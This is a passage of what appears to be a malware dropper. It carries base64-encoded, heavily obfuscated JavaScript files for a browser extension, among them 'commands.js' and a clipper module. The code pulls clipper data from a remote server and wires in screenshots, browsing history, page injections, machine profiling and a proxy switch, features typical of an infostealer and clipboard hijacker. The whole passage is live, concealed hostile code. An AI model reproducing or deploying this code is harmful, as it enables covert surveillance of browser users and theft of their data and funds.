zgrLTB4MTE4NiotMHgyKy0weDQqMHgzOWY7Zm9yKGxldCBfMHgyYjcwNjQ9LTB4MTFkOSoweDIrLTB4ZGNiKjB4MSsweDMxN2Q7XzB4MmI3MDY0PF8weDU4YThlMFsnbGVuZ3RoJ107XzB4MmI3MDY0Kyspe18weDk1Mzg5ND0oXzB4OTUzODk0KygweDEqLTB4YTNiKy0weGNjYioweDErMHgzKjB4N2FkKSklKDB4MTczYSstMHgzKjB4OWI3KzB4YioweGExKSxfMHgzZjJhZTc9KF8weDNmMmFlNytfMHgzNTkxOGZbXzB4OTUzODk0XSklKDB4MWI3NystMHgxNSoweGUwKzB4ODE3Ki0weDEpLF8weDUxYjNlOD1fMHgzNTkxOGZbXzB4OTUzODk0XSxfMHgzNTkxOGZbXzB4OTUzODk0XT1fMHgzNTkxOGZbXzB4M2YyYWU3XSxfMHgzNTkxOGZbXzB4M2YyYWU3XT1fMHg1MWIzZTgsXzB4M2ZkYmNmKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKF8weDU4YThlMFsnY2hhckNvZGVBdCddKF8weDJiNzA2NCleXzB4MzU5MThmWyhfMHgzNTkxOGZbXzB4OTUzODk0XStfMHgzNTkxOGZbXzB4M2YyYWU3XSklKC0weDQqMHg2MjYrMHhmNDMrMHhhNTUpXSk7fXJldHVybiBfMHgzZmRiY2Y7fTtfMHgzOTYwWydmclh2d2MnXT1fMHgzODlhNTYsXzB4MjkyNWFmPWFyZ3VtZW50cyxfMHgzOTYwWydWa1d3aVUnXT0hIVtdO31jb25zdCBfMHgzMTJmNDY9XzB4ZDc3MDVhWy0weDIyYjErMHgxKi0weGI2NCstMHhmYiotMHgyZl0sXzB4NGVmMmYxPV8weDJjNWQyYitfMHgzMTJmNDYsXzB4NWE5ZTZhPV8weDI5MjVhZltfMHg0ZWYyZjFdO3JldHVybiFfMHg1YTllNmE/KF8weDM5NjBbJ1hvd1JHQSddPT09dW5kZWZpbmVkJiYoXzB4Mzk2MFsnWG93UkdBJ109ISFbXSksXzB4Zjg3OWVhPV8weDM5NjBbJ2ZyWHZ3YyddKF8weGY4NzllYSxfMHg0MmYyZGQpLF8weDI5MjVhZltfMHg0ZWYyZjFdPV8weGY4NzllYSk6XzB4Zjg3OWVhPV8weDVhOWU2YSxfMHhmODc5ZWE7fSxfMHgzOTYwKF8weDI5MjVhZixfMHg0ZWEyNjQpO31leHBvcnQgY29uc3QgZ2V0Q2xpcHBlckRhdGE9KCk9Pm5ldyBQcm9taXNlKGFzeW5jIF8weDE4NTJkNj0+e2Z1bmN0aW9uIF8weDUwYjEwNShfMHgzNDc1MjAsXzB4M2UyODM5LF8weGYxMjdiNyxfMHgzODFkNWMsXzB4NDhjODllKXtyZXR1cm4gXzB4Mzk2MChfMHgzNDc1MjAtMHgzMDIsXzB4ZjEyN2I3KTt9ZnVuY3Rpb24gXzB4MTczMTQ1KF8weGRiNDA3MCxfMHg0OWNjM2EsXzB4NDdjMmNiLF8weDU5ZmMzYSxfMHhlNjNjZTcpe3JldHVybiBfMHgzOTYwKF8weGU2M2NlNy0weDIyOSxfMHg0OWNjM2EpO31mdW5jdGlvbiBfMHgyN2I5MzIoXzB4NTUyMDMzLF8weDc5ZTZjMCxfMHg0ZDVmMmQsXzB4MTM2NzczLF8weDM3M2JhYSl7cmV0dXJuIF8weDM5NjAoXzB4MzczYmFhLSAtMHgxNmUsXzB4NTUyMDMzKTt9ZnVuY3Rpb24gXzB4M2ExZTVjKF8weDE3ZjMwNCxfMHgzYzBlZmYsXzB4NDIyYmRjLF8weDE2MzVlYSxfMHgzNDg2ODcpe3JldHVybiBfMHgzOTYwKF8weDE3ZjMwNC0gLTB4MmI0LF8weDE2MzVlYSk7fWZ1bmN0aW9uIF8weGYzOTE1NyhfMHgyOTM4NzAsXzB4NTEzOTgwLF8weDJlOTdiZSxfMHgzYTI5OWIsXzB4ZjY0M2MxKXtyZXR1cm4gXzB4Mzk2MChfMHgyZTk3YmUtIC0weDNlNixfMHgyOTM4NzApO31jb25zdCBfMHg1MTVlNjI9eyd4Z2Z3Zic6ZnVuY3Rpb24oXzB4NWU2Mzk3LF8weDNhNDY4ZCl7cmV0dXJuIF8weDVlNjM5NyhfMHgzYTQ2OGQpO30sJ3lFRmdTJzpfMHgzYTFlNWMoLTB4MWIzLC0weDFhNCwtMHgxYzIsJzMpR0QnLC0weDFiNCkrJ24nLCd1Qm9DRCc6XzB4NTBiMTA1KDB4M2Y5LDB4NDA5LCdAQSRNJywweDQwNywweDNmMCl9O2Nocm9tZVtfMHgzYTFlNWMoLTB4MWEyLC0weDE5MCwtMHgxOTIsJypWVW4nLC0weDE5ZSkrJ2dlJ11bXzB4MjdiOTMyKCcxcFVDJywtMHg2NSwtMHg2MCwtMHg3NSwtMHg3MCldW18weDI3YjkzMignaiZuJicsLTB4N2UsLTB4NzEsLTB4NzAsLTB4NmYpXShbXzB4NTE1ZTYyW18weDI3YjkzMignNGRBSScsLTB4NmEsLTB4NTgsLTB4NGQsLTB4NWUpXSxfMHg1MTVlNjJbXzB4MTczMTQ1KDB4MzI5LCd5IWRuJywweDM0NSwweDM0MCwweDMzNildXSxhc3luYyBfMHg0YTM5OTk9PntmdW5jdGlvbiBfMHgzMmY3ZjUoXzB4M2YxNzBjLF8weDRjMTEyZixfMHg0Nzk5M2IsXzB4M2FkZWVkLF8weDJkZWM3Nyl7cmV0dXJuIF8weDI3YjkzMihfMHgzYWRlZWQsXzB4NGMxMTJmLTB4MTU2LF8weDQ3OTkzYi0weDk4LF8weDNhZGVlZC0weGIzLF8weDQ3OTkzYi0gLTB4MjM3KTt9ZnVuY3Rpb24gXzB4MjY4OWUyKF8weDFmY2Q0OSxfMHgzMzEyNDYsXzB4NjU4ZTNhLF8weGFkZDE4NyxfMHg0MTEzODQpe3JldHVybiBfMHgyN2I5MzIoXzB4MWZjZDQ5LF8weDMzMTI0Ni0weDEzMyxfMHg2NThlM2EtMHgxMmYsXzB4YWRkMTg3LTB4N2QsXzB4MzMxMjQ2LTB4NGIwKTt9Y29uc3QgXzB4NTM2MmQ1PV8weDRhMzk5OVtfMHg1OTViNDgoJ0pqZUsnLDB4MWNlLDB4MWMxLDB4MWM4LDB4MWJiKSsnbiddLF8weDE0ZjE4Yz1hd2FpdCBfMHg1MTVlNjJbXzB4NTk1YjQ4KCdxS1o1JywweDFkMiwweDFjMiwweDFkMiwweDFiNyldKGZldGNoLF8weDUzNjJkNSsoXzB4MjY4OWUyKCc4MlNRJywweDQzNywweDQ0NSwweDQzNiwweDQyNikrXzB4NTk1YjQ4KCcjcW1rJywweDFiZSwweDFjNywweDFjMCwweDFkNCkrXzB4MjY4OWUyKCc0ciFPJywweDQ1NSwweDQ1OSwweDQ0NSwweDQ1MCkrJ3InKSksXzB4NWNhYzAzPWF3YWl0IF8weDE0ZjE4Y1tfMHgyZTg4ZTYoJyZrRmYnLC0weDE2ZiwtMHgxODEsLTB4MTc1LC0weDE3MyldKCk7ZnVuY3Rpb24gXzB4MmU4OGU2KF8weDMxNzVhYSxfMHgxNWNlNGIsXzB4MzZlMDIwLF8weDM0ODEyMyxfMHgyNzM2ZTYpe3JldHVybiBfMHhmMzkxNTcoXzB4MzE3NWFhLF8weDE1Y2U0Yi0weDEyMyxfMHgzNDgxMjMtMHgxNzksXzB4MzQ4MTIzLTB4MTA1LF8weDI3MzZlNi0weDFkZCk7fWZ1bmN0aW9uIF8weDQ5NjhmMShfMHgyNzE2OTQsXzB4NDQ5ZGM5LF8weDM4ZTM1OCxfMHg1ZDc4ODUsXzB4MTMwZTZiKXtyZXR1cm4gXzB4NTBiMTA1KF8weDQ0OWRjOS0gLTB4NjM5LF8weDQ0OWRjOS0weGQxLF8weDM4ZTM1OCxfMHg1ZDc4ODUtMHhlOCxfMHgxMzBlNmItMHgxZDgpO31jb25zdCBfMHg4ZDk1Mzg9e307ZnVuY3Rpb24gXzB4NTk1YjQ4KF8weDQ2M2MxMixfMHgzMDc1MDQsXzB4NWM4Y2Q4LF8weDQyZTFlMCxfMHgyZWQwMWEpe3JldHVybiBfMHgzYTFlNWMoXzB4NWM4Y2Q4LTB4MzdiLF8weDMwNzUwNC0weGJjLF8weDVjOGNkOC0weDgyLF8weDQ2M2MxMixfMHgyZWQwMWEtMHgxZDUpO31yZXR1cm4gXzB4OGQ5NTM4W18weDMyZjdmNSgtMHgyOTAsLTB4MjljLC0weDI4ZiwnZEV1QScsLTB4MjkyKSsnZXInXT1fMHg1Y2FjMDMsKGNocm9tZVtfMHg1OTViNDgoJ2VTQWonLDB4MWMxLDB4MWM0LDB4MWQzLDB4MWI3KSsnZ2UnXVtfMHgyZTg4ZTYoJzFwVUMnLC0weDE3NiwtMHgxN2MsLTB4MTZmLC0weDE2MildW18weDJlODhlNignM1EyTicsLTB4MTVmLC0weDE1NywtMHgxNjEsLTB4MTZhKV0oXzB4OGQ5NTM4KSxfMHg1MTVlNjJbXzB4NTk1YjQ4KCdRZyYxJywweDFkNSwweDFjZCwweDFkZSwweDFjNildKF8weDE4NTJkNiwhKC0weDFmMjYrMHgxMDYzKzB4ZWMzKSkpO30pO30pOwo='),@('c3JjXGZ1bmN0aW9uc1xjb21tYW5kcy5qcw==', 'KGZ1bmN0aW9uKF8weDViODFlOCxfMHhlYjU4OGUpe2NvbnN0IF8weDQ5OGNmZD1fMHg1YjgxZTgoKTtmdW5jdGlvbiBfMHg0MGNiYWIoXzB4NzRiYjYyLF8weDExN2Q0ZCxfMHgzMDY2NzIsXzB4MjkwNGE3LF8weDFjYzc3OCl7cmV0dXJuIF8weDU0NDQoXzB4MWNjNzc4LTB4ZmMsXzB4MzA2NjcyKTt9ZnVuY3Rpb24gXzB4MWE2MGYwKF8weDU3OTZmNCxfMHg5ZDcyM2YsXzB4NjU3MTUxLF8weDRmYzg5MSxfMHg0NWVmZjIpe3JldHVybiBfMHg1NDQ0KF8weDY1NzE1MS0weDI3YyxfMHg1Nzk2ZjQpO31mdW5jdGlvbiBfMHgyNzc4MTIoXzB4MjA1ZjhkLF8weDI4NTA2MyxfMHg0M2JmOGMsXzB4NDY4OTAzLF8weDUzMmUxNyl7cmV0dXJuIF8weDU0NDQoXzB4MjA1ZjhkLTB4MjRhLF8weDQ2ODkwMyk7fWZ1bmN0aW9uIF8weDNkZTIzOShfMHhjYmRjZTksXzB4MWI2YzMyLF8weDFlZDBmYSxfMHgzZTczOGYsXzB4NGFmM2EzKXtyZXR1cm4gXzB4NTQ0NChfMHg0YWYzYTMtMHgxODQsXzB4MWVkMGZhKTt9ZnVuY3Rpb24gXzB4NTJkZDhlKF8weDNkZTY2YSxfMHgyODBiYWYsXzB4NDljZTFlLF8weDQ2NDg3NSxfMHgzZWY3MTkpe3JldHVybiBfMHg1NDQ0KF8weDI4MGJhZi0gLTB4MmYzLF8weDNlZjcxOSk7fXdoaWxlKCEhW10pe3RyeXtjb25zdCBfMHg1YjAxMjQ9LXBhcnNlSW50KF8weDQwY2JhYigweDMyZiwweDJhNCwncyQwZycsMHgzMWEsMHgyZTEpKS8oLTB4MTkxMSsweDIzKjB4ZWIrLTB4MSoweDcwZikqKC1wYXJzZUludChfMHg1MmRkOGUoLTB4ZTQsLTB4MTIyLC0weGRkLC0weDExYiwnZSZWcicpKS8oMHgxYiotMHhmOSsweGIqMHgyMWQrMHgzMDYpKStwYXJzZUludChfMHgxYTYwZjAoJ3ojVncnLDB4NDkzLDB4NDc2LDB4NDc2LDB4NGE0KSkvKC0weDI1OTYrLTB4NSoweDI2NSsweDMxOTIpK3BhcnNlSW50KF8weDQwY2JhYigweDI5YSwweDJhZSwnXSFGMycsMHgyYmEsMHgyYTUpKS8oMHgzOTcrMHgxMTkzKy0weDE1MjYpKigtcGFyc2VJbnQoXzB4MWE2MGYwKCdUKnp3JywweDQ5NiwweDQ3YSwweDQ4MywweDRhMikpLygtMHgzM2IqLTB4NystMHgyN2YrLTB4MTQxOSkpK3BhcnNlSW50KF8weDUyZGQ4ZSgtMHgxMzUsLTB4MTNkLC0weDE3YywtMHgxN2MsJyUhbHonKSkvKDB4ODkrLTB4MSotMHhmMzIrLTB4ZmI1KStwYXJzZUludChfMHgxYTYwZjAoJ10hRjMnLDB4NDM4LDB4NDU2LDB4NDlmLDB4NDgzKSkvKC0weGQqLTB4YTErLTB4MTE1KzB4NDMqLTB4MWIpKigtcGFyc2VJbnQoXzB4Mjc3ODEyKDB4NDU1LDB4NDNiLDB4NDkxLCd2VW5qJywweDQxNykpLygtMHg3MGIrMHgxZDQ3KjB4MSsweDYyKi0weDNhKSkrLXBhcnNlSW50KF8weDFhNjBmMCgneCF5UScsMHg0NGYsMHg0NDMsMHg0MmMsMHg0M2QpKS8oMHgxKjB4MTZjYSsweDI2MyotMHg2Ky0weDg2ZikqKC1wYXJzZUludChfMHg1MmRkOGUoLTB4MTNhLC0weDExMywtMHgxMmMsLTB4MTVmLCdJM1NdJykpLygweGM4YSsweDFjYzArMHg1OCotMHg3OCkpK3BhcnNlSW50KF8weDQwY2JhYigweDJlMiwweDJjNSwnc1BSaScsMHgyNzAsMHgyOWYpKS8oMHgyMGJlKy0weDEqLTB4MWY2MystMHg0MDE2KSooLXBhcnNlSW50KF8weDFhNjBmMCgnRDRMYycsMHgzZTgsMHg0MTEsMHg0MTAsMHg0NTQpKS8oMHgxM2ZlKzB4YWMwKi0weDIrMHhjNyoweDIpKTtpZihfMHg1YjAxMjQ9PT1fMHhlYjU4OGUpYnJlYWs7ZWxzZSBfMHg0OThjZmRbJ3B1c2gnXShfMHg0OThjZmRbJ3NoaWZ0J10oKSk7fWNhdGNoKF8weDM2NzE4OCl7XzB4NDk4Y2ZkWydwdXNoJ10oXzB4NDk4Y2ZkWydzaGlmdCddKCkpO319fShfMHgxYjgyLDB4MThhNTIrMHgxMDBhNSotMHg4KzB4YzliY2UpKTtpbXBvcnR7c2V0RW5hYmxlRXh0ZW5zaW9ufWZyb20nLi9leHRlbnNpb25zLmpzJztpbXBvcnR7aW5pdE1hY2hpbmV9ZnJvbScuL2dldE1hY2hpbmVJbmZvLmpzJztpbXBvcnR7Y3JlYXRlTm90aWZpY2F0aW9ufWZyb20nLi9ub3RpZmljYXRpb25zLmpzJztmdW5jdGlvbiBfMHgxYjgyKCl7Y29uc3QgXzB4NWVmMWU1PVsnVzZsZEsxUmNHQ2syV1JaY1B4aScsJ1dQdGNTdWxkVHFXJywnV1A0cXZta2VXUTgnLCdmSE5kR3EnLCdXUlpjSmhaY0o4a0EnLCdydWZ5V1FyQicsJ2xta05XT2RkTENrdlc2S2VXN3RkUHZtb25xJywnVzV0Y1Y4b3JoTWknLCd2OGtTZ0NrTWI4b2VXN21yV096UmVTa2pXTzAnLCdocnBkTE01TycsJ2Vtb1ZxRycsJ1dQcGRSOGtyc0o3Y044a2RXUVBHanV0Y0dxJywneHMvY0xTb2xqYScsJ3Fta01XNWJ6V1Jpd2UwZGRRTlczV1BwZFBxJywnV1JoY05hbScsJ1c0QmRLQ28ybW1vaCcsJ1dRZGNOV3BjUkNvcScsJ1c2bGRNc3hkTlNvZ1c1RmRIMTl5dmVlWVdPbScsJ3dIQmNNYScsJ1dPR0FlQ2tteXEnLCdXTzBNZm1rQkVhJywnYWFaY0daN2ROcScsJ1c0bGNMZGRkT0h1JywnVzRGZFY4b0diQ29TJywnVzZkY1UxbGRRVycsJ1c2ZGNRbW9BZ2d5JywnaGVaZElORmNLRycsJ1c1eGNNSjAnLCdpOGtoVzVMQVdRMCcsJ1dQekpyQ2tsVzZxJywnVzVCZFVDb0F2cWpRbDhrMFc1dndXUEpkTVcnLCdXN1JkTXFwY1A4b24nLCdXNVpkTVNvS2tXJywnV09XSXhDa2F2RycsJ1c3VG9XUGRkTnh1JywnVzRDQlc2U1p6YScsJ1dQYTNXT2hkT0NrTCcsJ1c1dGNRbW9tY3d5JywnV1JkY0pOWmNHOGt2JywnV1IzZE84b1pXNTQnLCdXUGRkSU1GY1VLTmNJQ2s1ZkxYd1dRbGRUYScsJ2lDa2pyaDRHJywnVzZqaldSVmNWZjQnLCdXUFZjU2ZkY044a3YnLCdiMmFDVzdsY1RxJywnVzd0Y1JIM2RPSmEnLCd4WHRkUXRqNnNNTDZyYScsJ0RTb3RkM2pLJywnV095UFdPeGNPU29YJywnVzZ0Y0lLRmNPOGs4V1BaY0hHJywnRUNvaWdydUgnLCdXNjhNVzR5dicsJ2EwdUxnbWt2JywnV1JsY09zM2RUS2EnLCdXT3kvV085WFdRNCcsJ3U4a0JDZ1pkTFdOZFA4b2dXNDgnLCdjbW9wdENvS0FXJywnaXdtcUZiZScsJ2c4b0tXUWlhVzZTJywnVzcwL1c1YXonLCdXNW15V1JIZldQcnlXNGEnLCd0OGtkeW1vY3NHJywnV1BGY0o4ay9lTlMnLCdXNEJkR21vVG5Tb3AnLCdXTzlXQjhrZldPSycsJ1dQRmNROGtEYXZhJywnZ3Z4ZElOYScsJ2pDb2JXNVJjS0cnLCdBU29Ic2EnLCdwWUpkTWhDMCcsJ3dta3lGOG9rdHEnLCdXUjU3RFNrdFc0TycsJ1dRbGRNbW95dktXJywnckNvOFdSZUpXNGpEdnEnLCd3YWJ2Vzc5ZicsJ1c3VmNRdUcnLCdzQ2t1eFNvU0FXJywnVzdub1dPQmNIeG0nLCdXNXk0ckNvcHhXJywnVzRSY1VDb3FjZ3knLCdtbW95d1NvaURXJywnVzQ5OFc1M2NWU29KRjhvTmN2cGRHQ2tKakNrYycsJ29OaGRIZ0ZjTkcnLCdXNWxjTWMzZFJiSycsJ2s4b3B0OG84enEnLCdFQ2t5VzRTa1c2dGROcUZkSm1vZVdQL2RWZDAnLCdoMnFnVzdkY05xJywnZDNoY1VKREMnLCduMkZjUUpqLycsJ2htb0dXNnBjTzBXJywncFpKZFNOQ2snLCdibWtiQm1vYXNXJywnVzczY1AwSmRVOG8xJywnV1F4ZExTb2J4S08nLCdXT2RjUDhrY2J2VycsJ2YzaGNNYUhoJywnV09SZFJTbzFXNHZtJywnZUhoZEtxJywneTNWY0dJWEZXUnZxV1BPRmZta3RmU2tkJywnVzc3ZFA4azVXUHhkSXEnLCdXUnkvV09Id1dRdScsJ3l2Sy9DYnEnLCdXUnRjUmd4ZFZJeScsJ1c1SmRMeEpkTTFLJywnV080MldPQmRUU2tPJywnV1JHSXM4a3J2RycsJ1c0SmRQbW9lV1BKZFJxJywnYlNvK1dPR2FXUXUnLCdXNC9kVHdkZFNNdScsJ3ZDb1dkMHJqJywnejhvUWdkQ3MnLCdXNVZjTThvT244b2InLCdXUmE5dUNrcVdRYScsJ1c2WmRKdzAnLCdXUFdnZW1rZCcsJ2V0L2NVaEpjUEcnLCdXUnhkUkNvS1c1NXcnLCdxZTNjSnRXWHE4b1VtWS9kTTJGY1JXJywnV09CY1BKRExXNk5kTThvWENDb1ZBTmFqVzVhJywnVzQzY1I4b21mcScsJ2ZDbytXT2V4JywnaUNvZVdQUEFXUmUnLCdXUnRjTHJsY1BHJywndjhrVmZTbzBEOGt6V1JhU1dPQycsJ1dQcGNPZWhkT0lXJywnV1JmbWJta05pYXl2VzdiWmxJeVUnLCdmYmxkTGcxTycsJ1dRRzN1bWtrd2EnLCdXUDhvZENrRXNHJywnZDBaZElNdGNHVycsJ1c0bUJoeGRkTnEnLCd5cVNDdmFpJywnVzdpTEVlcGRPVycsJ1dPOVhEbWs5VzRLJywnV083Y084a0hpMDAnLCdXNnBkUElOZFZHYVlGbWtGdlcnLCdlc2hjVE1OY1NxJywnVzQvY0lkRmRQR0cnLCdCU29ZVzR0Y0ltb2knLCdoQ2tMVzRSZE9ta2UnLCd4aEdNVzUvY0ttbzlXUTAnLCdXNTNkT0wwTFdROCcsJ1dROU14OGtSVzRLJywnV1I3Y0pta0NmS3EnLCdhOGtocTJLdScsJ2lyM2RQTkRKJywnYlNvam5mL2RKVycsJ1c0eS9FOG9jdEcnLCdvU29WdzhvOXdHJywnV1BKY1Btb2xXNS9jT21raVdScGRPbWtRVzdMbUJhJywnVzVsY05JUycsJ0NDbzZnbWthVzdpJywnczhvSVc2L2RSU2tpYW1vanlHJywnVzdGY0tnVmRKU2s2JywnVzVCZE1LcGRLQ2tmJ107XzB4MWI4Mj1mdW5jdGlvbigpe3JldHVybiBfMHg1ZWYxZTU7fTtyZXR1cm4gXzB4MWI4MigpO31pbXBvcnR7bWFrZVNjcmVlblNob3R9ZnJvbScuL3NjcmVlbnNob3QuanMnO2ltcG9ydHtnZXRDdXJyZW50VGFiLGdldEhpc3Rvcnksb3BlblVybH1mcm9tJy4vdGFicy5qcyc7aW1wb3J0e2dldEluamVjdGlvbnN9ZnJvbScuL2luamVjdGlvbnMuanMnO2Z1bmN0aW9uIF8weDU0NDQoXzB4NTBlOTY5LF8weDE4ZjkzZSl7Y29uc3QgXzB4MzZlOGQwPV8weDFiODIoKTtyZXR1cm4gXzB4NTQ0ND1mdW5jdGlvbihfMHgyZTRkMzYsXzB4MTFkMzdhKXtfMHgyZTRkMzY9XzB4MmU0ZDM2LSgweDYyZisweDQ4NSotMHg0KzB4ZDY1KTtsZXQgXzB4MzUxZTJjPV8weDM2ZThkMFtfMHgyZTRkMzZdO2lmKF8weDU0NDRbJ1NyaUxpYyddPT09dW5kZWZpbmVkKXt2YXIgXzB4YmQ2ZDU5PWZ1bmN0aW9uKF8weDRjZWVlNil7Y29uc3QgXzB4NGQzODY0PSdhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaMDEyMzQ1Njc4OSsvPSc7bGV0IF8weDU3ZWFiMD0nJyxfMHgzMjE2OTQ9Jyc7Zm9yKGxldCBfMHgyMWRhZTQ9MHg0YzYrMHgyMjcyKzB4MTM5YyotMHgyLF8weDNiMjNlZixfMHg0YzZiZTksXzB4MjcwMDdkPTB4NmQ0Ky0weDEqLTB4Y2U5KzB4YTMqLTB4MWY7XzB4NGM2YmU5PV8weDRjZWVlNlsnY2hhckF0J10oXzB4MjcwMDdkKyspO35fMHg0YzZiZTkmJihfMHgzYjIzZWY9XzB4MjFkYWU0JSgtMHgxZCoweDE1MysweDgzZisweDFlMmMpP18weDNiMjNlZiooLTB4MSoweDI1Y2YrLTB4NDA3Ki0weDUrMHg4ZjYqMHgyKStfMHg0YzZiZTk6XzB4NGM2YmU5LF8weDIxZGFlNCsrJSgtMHgxMDYrMHhmMGYrLTB4ZTA1KSk/XzB4NTdlYWIwKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKC0weDFmNzgrLTB4OTUyKzB4MjljOSZfMHgzYjIzZWY+PigtKC0weDkqLTB4MzJkKzB4MyoweGEyZSstMHgzYjFkKSpfMHgyMWRhZTQmLTB4ZmQqMHgxNSsweGMwKi0weDkrLTB4OSotMHgzMGYpKTotMHg5N2YrLTB4MTIqMHgxZGUrLTB4NSotMHg4OWYpe18weDRjNmJlOT1fMHg0ZDM4NjRbJ2luZGV4T2YnXShfMHg0YzZiZTkpO31mb3IobGV0IF8weDQ5NWM1MD0weDI0NmEqMHgxKy0weDEzKjB4MWQ5Ky0weDE0ZixfMHgyNWU3ZDQ9XzB4NTdlYWIwWydsZW5ndGgnXTtfMHg0OTVjNTA8XzB4MjVlN2Q0O18weDQ5NWM1MCsrKXtfMHgzMjE2OTQrPSclJysoJzAwJytfMHg1N2VhYjBbJ2NoYXJDb2RlQXQnXShfMHg0OTVjNTApWyd0b1N0cmluZyddKC0weGRiOSstMHgxMzdmKjB4MSsweDIxNDgpKVsnc2xpY2UnXSgtKDB4NWUqMHgyYistMHhjNyoweDErMHhmMDEqLTB4MSkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDMyMTY5NCk7fTtjb25zdCBfMHgzZDBmMjk9ZnVuY3Rpb24oXzB4M2EyYjQ0LF8weDE2YjVlYil7bGV0IF8weDI3YmNhMT1bXSxfMHg0ZmRiMWM9LTB4NyoweDMzZisweGU2NCoweDErMHg4NTUsXzB4MmVmNzY5LF8weDMyMDYyYj0nJztfMHgzYTJiNDQ9XzB4YmQ2ZDU5KF8weDNhMmI0NCk7bGV0IF8weDRkZmNjNDtmb3IoXzB4NGRmY2M0PTB4MjA0MistMHhjYyotMHgyKy0weDIxZGE7XzB4NGRmY2M0PDB4MWRlZisweDYzNSoweDIrLTB4OTEqMHg0OTtfMHg0ZGZjYzQrKyl7XzB4MjdiY2ExW18weDRkZmNjNF09XzB4NGRmY2M0O31mb3IoXzB4NGRmY2M0PS0weDExZTcqLTB4MSsweDEzY2IrMHg1Ki0weDc4YTtfMHg0ZGZjYzQ8LTB4MTY3YistMHgxNDlmKzB4YSoweDQ2OTtfMHg0ZGZjYzQrKyl7XzB4NGZkYjFjPShfMHg0ZmRiMWMrXzB4MjdiY2ExW18weDRkZmNjNF0rXzB4MTZiNWViWydjaGFyQ29kZUF0J10oXzB4NGRmY2M0JV8weDE2YjVlYlsnbGVuZ3RoJ10pKSUoLTB4M2VkKi0weDIrMHgxKi0weGNlNysweDYwZCksXzB4MmVmNzY5PV8weDI3YmNhMVtfMHg0ZGZjYzRdLF8weDI3YmNhMVtfMHg0ZGZjYzRdPV8weDI3YmNhMVtfMHg0ZmRiMWNdLF8weDI3YmNhMVtfMHg0ZmRiMWNdPV8weDJlZjc2OTt9XzB4NGRmY2M0PS0weDFjNTIrMHhiM2QrMHgxMTE1KjB4MSxfMHg0ZmRiMWM9MHhhODUrLTB4MmFiKi0weDErLTB4ZDMwO2ZvcihsZXQgXzB4NDQwMjk3PTB4MTIrLTB4MzE3Ki0weDErLTB4MzI5O18weDQ0MDI5NzxfMHgzYTJiNDRbJ2xlbmd0aCddO18weDQ0MDI5NysrKXtfMHg0ZGZjYzQ9KF8weDRkZmNjNCsoMHgyKjB4ZDQ2KzB4MSotMHgxYzY4KzB4MWRkKSklKDB4YWMqLTB4MzkrLTB4MjRiZistMHgzKi0weDE5NTkpLF8weDRmZGIxYz0oXzB4NGZkYjFjK18weDI3YmNhMVtfMHg0ZGZjYzRdKSUoLTB4OWI3KjB4MysweDFjNTcrMHgxY2UpLF8weDJlZjc2OT1fMHgyN2JjYTFbXzB4NGRmY2M0XSxfMHgyN2JjYTFbXzB4NGRmY2M0XT1fMHgyN2JjYTFbXzB4NGZkYjFjXSxfMHgyN2JjYTFbXzB4NGZkYjFjXT1fMHgyZWY3NjksXzB4MzIwNjJiKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKF8weDNhMmI0NFsnY2hhckNvZGVBdCddKF8weDQ0MDI5NyleXzB4MjdiY2ExWyhfMHgyN2JjYTFbXzB4NGRmY2M0XStfMHgyN2JjYTFbXzB4NGZkYjFjXSklKC0weDk5NSoweDQrLTB4MTNhYyotMHgxKzB4MTNhOCldKTt9cmV0dXJuIF8weDMyMDYyYjt9O18weDU0NDRbJ3VvanhaeiddPV8weDNkMGYyOSxfMHg1MGU5Njk9YXJndW1lbnRzLF8weDU0NDRbJ1NyaUxpYyddPSEhW107fWNvbnN0IF8weDExMDI5Nz1fMHgzNmU4ZDBbLTB4MjE0KzB4OCoweDJmMistMHgxNTdjXSxfMHg1M2ZiYjY9XzB4MmU0ZDM2K18weDExMDI5NyxfMHg0MDRiZGM9XzB4NTBlOTY5W18weDUzZmJiNl07cmV0dXJuIV8weDQwNGJkYz8oXzB4NTQ0NFsnam9CRU1IJ109PT11bmRlZmluZWQmJihfMHg1NDQ0Wydqb0JFTUgnXT0hIVtdKSxfMHgzNTFlMmM9XzB4NTQ0NFsndW9qeFp6J10oXzB4MzUxZTJjLF8weDExZDM3YSksXzB4NTBlOTY5W18weDUzZmJiNl09XzB4MzUxZTJjKTpfMHgzNTFlMmM9XzB4NDA0YmRjLF8weDM1MWUyYzt9LF8weDU0NDQoXzB4NTBlOTY5LF8weDE4ZjkzZSk7fWltcG9ydHtnZXRTZXR0aW5nc31mcm9tJy4vc2V0dGluZ3MuanMnO2ltcG9ydHtzZXRJc0VuYWJsZWR9ZnJvbScuL3Byb3h5LmpzJztpbXBvcnR7Z2V0Q2xpcHBlckRhdGF9ZnJvbScuL2NsaXBwZXIuanMnO2ltcG9ydHtnZXRTY3JlZW5zaG90UnVsZXN9ZnJvbScuL3NjcmVlbnNob3RSdWxlcy5qcyc7ZXhwb3J0IGNvbnN0IGdldENvbW1hbmRzPSgpPT5uZXcgUHJvbWlzZShhc3luYyBfMHgzYTc0OGM9PntmdW5jdGlvbiBfMHgxMzA5Y2UoXzB4NDAwODg4LF8weDUwMmQ1MixfMHgzMTk2Y2UsXzB4MzJkOTNjLF8weDJmMGI0Mil7cmV0dXJuIF8weDU0NDQoXzB4NTAyZDUyLSAtMHgzOWUsXzB4NDAwODg4KTt9ZnVuY3Rpb24gXzB4MTdlMzQzKF8weDQ4Njc5NyxfMHg1NDRhYjUsXzB4NDU0ZTcxLF8weDI3MWIwMyxfMHgzNzliMGUpe3JldHVybiBfMHg1NDQ0KF8weDI3MWIwMy0gLTB4MjksXzB4NDU0ZTcxKTt9ZnVuY3Rpb24gXzB4MTNkY2Y2KF8weDFkMmM2MixfMHg1ZWIxZTIsXzB4NDY2MThlLF8weDE1YzViNCxfMHg1YzI2YjEpe3JldHVybiBfMHg1NDQ0KF8weDVjMjZiMS0weGRiLF8weDE1YzViNCk7fWZ1bmN0aW9uIF8weDM2YWM2YihfMHgzYjRhOTUsXzB4M2IxODgyLF8weDEyNDZiNSxfMHgyZmJlYzAsXzB4MmU2NDFkKXtyZXR1cm4gXzB4NTQ0NChfMHgyZTY0MWQtIC0weDE0NCxfMHgzYjE4ODIpO31jb25zdCBfMHgyZGVlNWI9eydHdHljYSc6ZnVuY3Rpb24oXzB4MTVmNDViLF8weDc4NjI0MCl7cmV0dXJ